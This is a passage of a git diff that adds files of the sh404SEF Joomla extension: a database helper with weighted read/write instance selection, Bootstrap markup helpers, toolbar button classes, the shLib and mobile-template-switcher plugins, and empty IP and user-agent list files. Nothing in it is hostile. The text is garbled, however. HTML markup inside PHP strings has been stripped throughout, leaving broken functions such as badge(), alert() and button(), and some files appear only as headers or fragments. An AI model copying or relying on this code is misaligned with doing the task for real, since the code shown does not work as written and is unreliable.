$list; + } + + $db = self::getInstance(); + $values = array(); + foreach ($data as $value) + { + $values[] = $nameQuote ? $db->quoteName($value) : $db->Quote($value); + } + + $list = implode($glue, $values); + + return $list; + } + + /** + * Intval an array of value and turn it into a list + * of separated, quoted elements + * + * @param array $data + * @param string $glue + * @return string + */ + public static function arrayToIntvalList($data, $glue = ',') + { + $list = ''; + if (empty($data) || !is_array($data)) + { + return $list; + } + + $values = array(); + foreach ($data as $value) + { + $values[] = (int) $value; + } + + $list = implode($glue, $values); + + return $list; + } + + protected static function _setSelectQuery($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + $db = self::getInstance('', self::OP_TYPE_READ); + $db->shlSetSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines); + + return $db; + } + + /** + * Select the instance to be used for the operation requested + * First based on operation type (read, write) + * Second, using a weighted random selection + * + * @param string $dataset dataset to use + * @param string $opType requested operation type + */ + private static function _findInstanceName($dataset, $opType) + { + $name = ''; + + if (!empty(self::$_datasets[$dataset])) + { + // if we have a dataset (possibly the default one), we're going through + // the selection process for a given instance + + // first, select by operation type: we grab the names of all db instances + // that have been registered for this dataset, for each type of operation + $instances = array(); + switch ($opType) + { + case self::OP_TYPE_READ: + case self::OP_TYPE_WRITE: + $instances = array_merge($instances, self::$_datasets[$dataset][$opType]); + break; + case self::OP_TYPE_BOTH: + $instances = array_merge($instances, self::$_datasets[$dataset][self::OP_TYPE_READ]); + $instances = array_merge($instances, self::$_datasets[$dataset][self::OP_TYPE_WRITE]); + break; + } + $instances = array_values(array_unique($instances)); + // second, if there are several instances for the same operation type + // select amongst them, using weight coefficients + // note: $instances contains a list of db instances names + $name = self::_weightedRandomSelect($instances); + } + + // return whatever we found, can be empty + return $name; + } + + /** + * Select at random an instance, amongst the passed + * list of acceptable instances. Choice is not fully + * random, but use the weight coefficient of each instance + * (set by user when an instance is registered) + * + * @param array $instances names of the acceptable db instances + */ + private static function _weightedRandomSelect($instances) + { + $name = ''; + + if (!empty($instances)) + { + $weightedSums = array(); + $total = 0; + foreach ($instances as $index => $instanceName) + { + if (self::$_databases[$instanceName]->enabled) + { + $total += self::$_databases[$instanceName]->weight; + $weightedSums[$index] = $total; + } + } + + // if no instance is available, because + // either no instance has been registered + // or if some have been, they don't match the request + // for instance we have only read instances + // while we do a write query, + // then nothing to select + if (empty($weightedSums)) + { + return ''; + } + + // we have at least one valid db + // can proceed + $pick = mt_rand(1, $total); + foreach ($weightedSums as $index => $sum) + { + if ($sum >= $pick) + { + $name = $instances[$index]; + break; + } + } + } + + return $name; + } + + /** + * Create a default database record, using Joomla! + * database instance + * + * @param string $name name under which the db should be recorded + */ + private static function _createDefaultDatabase($name) + { + // get application db instance + // that's hardcoded dependency, but allow transparent operation + // within Joomla! framework, which will be 99% + // of cases anyway + $db = JFactory::getDBO(); + + // prepare a record to hold our database instance details + self::$_databases[$name] = new ShlDbClass_Dbrecord($db, $name, self::DEFAULT_WEIGHT, self::$_queryCacheEnabled, + self::$_defaultQueryCacheTableExclusionList, self::$_joomlaQueryCacheEnabled); + + // store as well in default dataset + self::$_datasets[self::SHL_DEFAULT][self::OP_TYPE_READ][] = $name; + self::$_datasets[self::SHL_DEFAULT][self::OP_TYPE_WRITE][] = $name; + + // enable the multi db support flag if we + // now have more than one database instance + self::$_multiDbSupportEnabled = self::_hasMoreThanOneEnabledDb(); + + } + + /** + * Finds if there is more than the default database instance + * enabled. If so raise a flag. This will be used by the + * class to avoid some unneeded processing in the + * (common) case we're only working with one single, default, instance + * + */ + private static function _hasMoreThanOneEnabledDb() + { + $enabled = false; + foreach (self::$_databases as $name => $instance) + { + if ($name != self::SHL_DEFAULT && $instance->enabled) + { + $enabled = true; + break; + } + } + return $enabled; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/exception/exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/exception/exception.php new file mode 100644 index 00000000..d749c9e7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/exception/exception.php @@ -0,0 +1,24 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php new file mode 100644 index 00000000..2a003f0f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php @@ -0,0 +1,182 @@ +addStyleSheet($root . '/media/plg_shlib/css/bs.css'); + $document->addStyleSheet($root . '/media/plg_shlib/css/modal.css'); + } + + public static function addBootstrapModalFixCss($document, $root = '') + { + $root = empty($root) ? JURI::root(true) : $root; + $document->addStyleSheet($root . '/media/plg_shlib/css/modalfix.css'); + } + + public static function addBootstrapJs($document, $root = '') + { + $root = empty($root) ? JURI::root(true) : $root; + $document->addScript($root . '/media/plg_shlib/js/bs.js'); + } + + public static function badge($text, $type = '', $title = '', $extraClass = '') + { + if (empty($text)) + { + return ''; + } + $badged = '' . $text + . ''; + return $badged; + } + + public static function label($text, $type = '', $title = '', $extraClass = '') + { + if (empty($text)) + { + return ''; + } + $label = '' . $text + . ''; + return $label; + } + + public static function iconglyph($text, $type, $title = '', $prefix = "shl-") + { + $glyph = '' . $text; + return $glyph; + } + + /** + * Creates markup for an alert area, with optional classes + * and dismiss button + * + * @param string $text text to be displayed in alert area + * @param string $type bootstrap alert type: '',info,success,error + * @param string $dismiss if true, a dismiss button is added + * @param string $extraClass additional class added to the div + * @return string the html + */ + public static function alert($text, $type = '', $dismiss = false, $extraClass = '') + { + $alert = array(); + $alert[] = '
    '; + if ($dismiss) + { + $alert[] = ''; + } + $alert[] = $text . '
    '; + return implode("\n", $alert); + } + + /** + * Creates markup for a button, with optional type, size and disabled state + * + * @param string $text text to be displayed in alert area + * @param string $type bootstrap type: '', primary, info, success, warning,danger, inverse, link + * @param string $size bootstrap size: large, '', small, mini + * @param string $onclick an optional onclick event + * @param string $disabled if true, button is shown as disabled (though still active) + * @return string + */ + public static function button($text, $type = '', $size = '', $onclick = '', $disabled = false) + { + $button = array(); + $class = empty($type) ? 'btn' : ' btn-' . strtolower($type); + $class .= empty($size) ? '' : ' btn-' . strtolower($size); + $class .= empty($disabled) ? '' : ' disabled'; + + $button[] = '\n"; + return $html; + } + + /** + * Get the button CSS Id + * + * @access public + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId( $type='Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false ) + { + return $this->_parent->getName().'-'.$name; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param string $name The task name as seen by the user + * @param string $task The task used by the application + * @param ??? $list + * @param boolean $hide + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($name, $task, $list, $hide) + { + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + $hidecode = $hide ? 'shHideMainMenu();' : ''; + + if ($list) { + $cmd = "javascript:if(document.adminForm.boxchecked.value==0){alert('$message');}else{ $hidecode Joomla.submitbutton('$task')}"; + } else { + $cmd = "javascript:$hidecode Joomla.submitbutton('$task')"; + } + + + return $cmd; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php new file mode 100644 index 00000000..77495b38 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php @@ -0,0 +1,145 @@ +_getOnclick(empty($params['checkListSelection']) ? false : true); + $url = $this->_fixUrl($url); + $buttonClass = empty($params['buttonClass']) ? 'btn btn-small modal' : $params['buttonClass']; + $buttonTitle = empty($params['buttonTitle']) ? '' : ' title = "' . $params['buttonTitle'] . '"'; + + $html = "\n"; + + // Build the options array for the modal + $params = array(); + $params['title'] = $title; + $params['url'] = $url; + $params['height'] = $height; + $params['width'] = $width; + + // render the modal + $html .= ShlHtmlModal_helper::renderBootstrapModal('modal-' . $name, $params); + + // If an $onClose event is passed, add it to the modal JS object + if (strlen($onClose) >= 1) + { + $html .= "\n"; + } + + return $html; + } + + /** + * Get the button id + * + * @param string $type Button type + * @param string $name Button name + * + * @return string Button CSS Id + * + * @since 3.0 + */ + public function fetchId($type = 'Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false) + { + return $this->_parent->getName() . '-' . "popup-$name"; + } + + protected function _getOnclick($check = false) + { + if (empty($check)) + { + $onclick = 'onclick="shlBootstrap.canOpenModal = true;"'; + } + else + { + $onclick = ''; + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + $onclick = 'onclick="if (document.adminForm.boxchecked.value==0){alert(\'' . $message + . '\');shlBootstrap.canOpenModal = false;return false;}else{ + var cid = document.getElementsByName(\'cid[]\'); + var list = \'\'; + if (cid) { + var length = cid.length; + for ( var i = 0; i < length; i++) { + if (cid[i].checked) { + list += \'&cid[]=\' + cid[i].value; + } + } + } + shlBootstrap.setSelectedIdsUrl(list); + shlBootstrap.canOpenModal = true;return true;}"'; + } + return $onclick; + } + + private function _fixUrl($url) + { + if (substr($url, 0, 4) !== 'http') + { + $url = JURI::base(true) . '/' . $url; + } + + return $url; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php new file mode 100644 index 00000000..e8d0b6c8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php @@ -0,0 +1,113 @@ +_getOnclick($name, $url, $params); + $buttonClass = empty($params['buttonClass']) ? 'btn btn-small' : $params['buttonClass']; + $buttonTitle = empty($params['buttonTitle']) ? '' : ' title = "' . $params['buttonTitle'] . '"'; + + $html = "\n"; + + return $html; + } + + /** + * Get the button id + * + * @param string $type Button type + * @param string $name Button name + * + * @return string Button CSS Id + * + * @since 3.0 + */ + public function fetchId($type = 'Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false) + { + return $this->_parent->getName() . '-' . "popup-$name"; + } + + protected function _getOnclick($name, $url, $params) + { + $url = $this->_fixUrl($url); + + $commands = array(); + + // calculate the various parts of the ajax call params, encoded as JSon + if (!empty($params['update'])) + { + $commands['update'] = $params['update']; + } + + // make that a json object + $json = ShlSystem_Convert::arrayToJSObject($commands); + + // calculate the full command + $onclick = 'onclick="shAjaxHandler(\'' . $name . '\',' . $json . ',' . $params['closewindow'] . ');"'; + + return $onclick; + } + + private function _fixUrl($url) + { + if (substr($url, 0, 4) !== 'http') + { + $url = JURI::base() . $url; + } + + return $url; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php new file mode 100644 index 00000000..07edf484 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php @@ -0,0 +1,90 @@ +fetchIconClass($name); + $doTask = $this->_getCommand($text, $task, $list, $hideMenu); + + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$i18n_text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button CSS Id + * + * @access public + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId( $type='Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false ) + { + return $this->_parent->getName().'-'.$name; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param string $name The task name as seen by the user + * @param string $task The task used by the application + * @param ??? $list + * @param boolean $hide + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($name, $task, $list, $hide) + { + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + $hidecode = $hide ? 'shHideMainMenu();' : ''; + + if ($list) { + $cmd = "javascript:if(document.adminForm.boxchecked.value==0){alert('$message');}else{ $hidecode Joomla.submitbutton('$task')}"; + } else { + $cmd = "javascript:$hidecode Joomla.submitbutton('$task')"; + } + + + return $cmd; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php new file mode 100644 index 00000000..b1598446 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php @@ -0,0 +1,145 @@ +\n"; + $html .= $action; + $html .= "\n"; + + return $html; + } + + function fetchButton($type = 'Popup', $name = '', $url = '#', $text = '', $msg = '', $task = '', $list = true, $hideMenu = false, + $popupOptions = array()) + { + $buttonTitle = ''; + if (!empty($popupOptions['buttonTitle'])) + { + $buttonTitle = 'title = "' . $popupOptions['buttonTitle'] . '"'; + unset($popupOptions['buttonTitle']); + } + + // merge with default options + $defaultOptions = array('class' => 'modal', 'size' => array('x' => 640, 'y' => 500)); + $options = array_merge($defaultOptions, $popupOptions); + + $text = JText::_($text); + $class = $this->fetchIconClass($name); + $doTask = $this->_getCommand($msg, $name, $task, $list, $hideMenu); + $id = $this->fetchId($name); + + $modalOptionsString = ShlHtmlModal_helper::makeSqueezeboxOptions($options); + $rel = ' {handler: \'iframe\'' . (empty($modalOptionsString) ? '' : ', ' . $modalOptionsString) . '}'; + + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button id + * + * Redefined from JButton class + * + * @access public + * @param string $name Button name + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId($name) + { + // bug in joomla + if (is_array($name)) + { + $name = $name[1]; + } + return $this->_parent->getName() . '-' . "popup-$name"; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param object $definition Button definition + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($msg, $name, $task, $list, $hide) + { + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + + if ($hide) + { + if ($list) + { + $cmd = "javascript:shStopEvent( event);if(document.adminForm.boxchecked.value==0){alert('$message');}else{shProcessToolbarClick(this.id, '$name');}"; + } + else + { + $cmd = "javascript:shStopEvent( event);shProcessToolbarClick( this.id, '$name');"; + } + } + else + { + if ($list) + { + $cmd = "javascript:shStopEvent( event);if(document.adminForm.boxchecked.value==0){alert('$message');}else{if(confirm('$msg')){shProcessToolbarClick(this.id, '$name');}}"; + } + else + { + $cmd = "javascript:shStopEvent( event);if(confirm('$msg')){shProcessToolbarClick( this.id, '$name');}"; + } + } + + return $cmd; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.php new file mode 100644 index 00000000..b8891e0b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.php @@ -0,0 +1,113 @@ +_fixTimeWarning(); + + // couple of base path + defined( 'SHLIB_ROOT_PATH') or define( 'SHLIB_ROOT_PATH', str_replace( DIRECTORY_SEPARATOR, '/', dirname(__FILE__)) . '/shl_packages/'); + defined( 'SHLIB_PATH_TO_ZEND') or define( 'SHLIB_PATH_TO_ZEND', SHLIB_ROOT_PATH . 'ZendFramework-1.11.7-minimal/library/'); + + // register our autoloader + require_once SHLIB_ROOT_PATH . 'system/autoloader.php'; + $initialized = ShlSystem_Autoloader::initialize( SHLIB_ROOT_PATH); + + // initialize path lib + $this->_initLibrary(); + + defined('SHLIB_VERSION') or define ('SHLIB_VERSION', '0.2.9.370'); + + // check if we're set to enable database query cache + if( !empty($this->params)) { + try { + $handler = $this->params->get( 'sharedmemory_cache_handler', ShlCache_Manager::CACHE_HANDLER_APC); + $queryCacheParams = array(); + $queryCacheParams['host'] = $this->params->get( 'sharedmemory_cache_host', ''); + $queryCacheParams['port'] = $this->params->get( 'sharedmemory_cache_port', ''); + ShlCache_Manager::setHandler( $handler, $queryCacheParams); + ShlDbHelper::switchQueryCache( $this->params->get( 'enable_query_cache', 0) != 0); + if($this->params->get( 'enable_joomla_query_cache', 0)) { + ShlDbHelper::switchJoomlaQueryCache(); + } + } catch (ShlException $e) { + ShlSystem_Log::error( 'shlib', 'Unable to setup database query cache: %s', $e->getMessage()); + } + } + + } + + /** + * + * Prevent timezone not set warnings to appear all over, + * especially for PHP 5.3.3+ + */ + protected function _fixTimeWarning() { + + @date_default_timezone_set( @date_default_timezone_get()); + + } + + protected function _initLibrary() { + + // initialize Zend autoloader + include_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Autoloader.php'; + try { + Zendshl_Loader_Autoloader::getInstance()->setZfPath( SHLIB_ROOT_PATH ); + } catch (Exception $e) { + + } + + // setup logging configuration according to params + $logLevels = array(); + if(!empty( $this->params)) { + if($this->params->get('log_info')) { + $logLevels[] = ShlSystem_Log::INFO; + } + if($this->params->get('log_error')) { + $logLevels[] = ShlSystem_Log::ERROR; + } + if($this->params->get('log_alert')) { + $logLevels[] = ShlSystem_Log::ALERT; + } + if($this->params->get('log_debug')) { + $logLevels[] = ShlSystem_Log::DEBUG; + } + } + + ShlSystem_Log::setConfig(array( 'logLevel' => $logLevels)); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.xml new file mode 100644 index 00000000..a21e0282 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.xml @@ -0,0 +1,135 @@ + + + plg_system_shlib + Yannick Gaultier + 2014-06-11 + (c) Yannick Gaultier 2013 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 0.2.9.370 + PLG_SYSTEM_SHLIB_DESC + installation.script.php + + + shlib.php + installation.script.php + index.html + shl_packages + + + css + js + index.html + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + +
    +
    +
    + + language/en-GB/en-GB.plg_system_shlib.ini + language/en-GB/en-GB.plg_system_shlib.sys.ini + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/index.html new file mode 100644 index 00000000..fa4dbc7e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/index.html @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.php new file mode 100644 index 00000000..ce8e365a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.php @@ -0,0 +1,213 @@ +isSite()) + { + $app + ->enqueuemessage( + '
    sh404SEF requires the shLib system plugin to be enabled, but you appear to have disabled it. Please enable it again!', + 'error'); + } + return false; + } + + static $isMobile = null; + static $defaultRecords = array( + array('start' => 0, 'stop' => 0, + 'string' => '/android|avantgo|blackberry|blazer|compal|elaine|fennec|hiptop|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile|o2|opera m(ob|in)i|palm( os)?|p(ixi|re)\/|plucker|pocket|psp|smartphone|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce; (iemobile|ppc)|xiino/i'), + array('start' => 0, 'stop' => 4, + 'string' => '/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-/i')); + + // look first for a query var + if (is_null($isMobile)) + { + $queryVar = JRequest::getString('sh404sef_override_mobile_detection', '', 'GET'); + switch ($queryVar) + { + case 'force_desktop': + case 'force_mobile': + $isMobile = $queryVar == 'force_mobile'; + break; + } + } + + if (!is_null($isMobile)) + { + // if we already have a decision, that was because of a request var: + + // 1 - set a cookie, so that decision is maintained + setCookie('sh404sef_override_mobile_detection', $isMobile ? 'force_mobile' : 'force_desktop', time() + 7 * 86400, '/'); + + // 2 - add a canonical tag to the page, to avoid search engines penalties + global $shCanonicalTag; + $pageInfo = sh404sefFactory::getPageInfo(); + $shCanonicalTag = $pageInfo->currentSefUrl; + $shCanonicalTag = Sh404sefHelperUrl::clearUrlVar($shCanonicalTag, 'sh404sef_override_mobile_detection'); + } + + // then look for a cookie + if (is_null($isMobile)) + { + + // search Joomla! cookie vars + $cookieFlag = JRequest::getString('sh404sef_override_mobile_detection', null, 'cookie'); + switch ($cookieFlag) + { + case 'force_desktop': + case 'force_mobile': + $isMobile = $cookieFlag == 'force_mobile'; + break; + } + } + + // look for a mobile search engine crawler + if (is_null($isMobile)) + { + // now auto-detect + jimport('joomla.environment.browser'); + $browser = JBrowser::getInstance(); + $userAgent = strtolower($browser->getAgentString()); + if (!empty($userAgent)) + { + $searchEnginesMobileAgents = array('Googlebot-Mobile'); + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig($forced = false); + $remotes = empty($remoteConfig->config['searchenginesmobileagents']) ? array() : $remoteConfig->config['searchenginesmobileagents']; + $agents = array_unique(array_merge($searchEnginesMobileAgents, $remotes)); + // adjust to Google mobile new user agent string for mobiles + // http://googlewebmastercentral.blogspot.fr/2014/01/a-new-googlebot-user-agent-for-crawling.html + if (strpos($userAgent, 'googlebot') !== false && strpos($userAgent, 'mobile') !== false) + { + $isMobile = true; + } + else + { + foreach ($agents as $agent) + { + if (strpos($userAgent, strtolower($agent)) !== false) + { + $isMobile = true; + break; + } + } + } + } + } + + if (is_null($isMobile)) + { + // now auto-detect + jimport('joomla.environment.browser'); + $browser = JBrowser::getInstance(); + $isMobile = $browser->isMobile(); + $userAgent = strtolower($browser->getAgentString()); + // detection code adapted from http://detectmobilebrowser.com/ + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig($forced = false); + $remotesRecords = empty($remoteConfig->config['mobiledetectionstrings']) ? array() : $remoteConfig->config['mobiledetectionstrings']; + $records = empty($remotes) ? $defaultRecords : $remotesRecords; + foreach ($records as $record) + { + $isMobile = $isMobile + || (empty($record['stop']) ? preg_match($record['string'], substr($userAgent, $record['start'])) + : preg_match($record['string'], substr($userAgent, $record['start'], $record['stop']))); + } + + } + + // tell page information object about this + if ($isMobile) + { + Sh404sefFactory::getPageInfo()->isMobileRequest = $isMobile; + } + + return $isMobile; + } + + public function onAfterRoute() + { + // get joomla application object + $app = JFactory::getApplication(); + + // check shLib is available + if (!defined('SHLIB_VERSION')) + { + return; + } + + if ($app->isAdmin()) + { + return; + } + + $enabled = $this->params->get('mobile_switch_enabled', 0); + + // check for mobile user + if ($enabled) + { + // Issue a Vary HTTP header, to tell crawlers, cache and proxies + // that content is changing based on user agent + JResponse::setHeader('Vary', 'User-Agent'); + + // switch to another template if request is from a mobile device + $isMobile = self::isMobileRequest(); + if ($isMobile) + { + $template = $this->params->get('mobile_template', ''); + $this->_setTemplate($template); + } + } + + } + + protected function _setTemplate($tpl = null) + { + if (empty($tpl)) + { + return; + } + else + { + $app = JFactory::getApplication(); + $app->setTemplate($tpl); + if (!defined('SHMOBILE_MOBILE_TEMPLATE_SWITCHED')) + { + define('SHMOBILE_MOBILE_TEMPLATE_SWITCHED', 1); + } + } + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.xml new file mode 100644 index 00000000..9c90710e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.xml @@ -0,0 +1,33 @@ + + + sh404sef - System mobile template switcher + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Switch site template for mobile devices + + shmobile.php + index.html + + + + +
    + + + + + +
    +
    +
    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/security/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/security/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/security/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_black_list.dat b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_black_list.dat new file mode 100644 index 00000000..47c687bc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_black_list.dat @@ -0,0 +1 @@ +# sh404SEF IP black list file \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_white_list.dat b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_white_list.dat new file mode 100644 index 00000000..17541a58 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_white_list.dat @@ -0,0 +1 @@ +# sh404SEF IP white list file \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_black_list.dat b/deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_black_list.dat new file mode 100644 index 00000000..db58abf2 --- /dev/null +++ 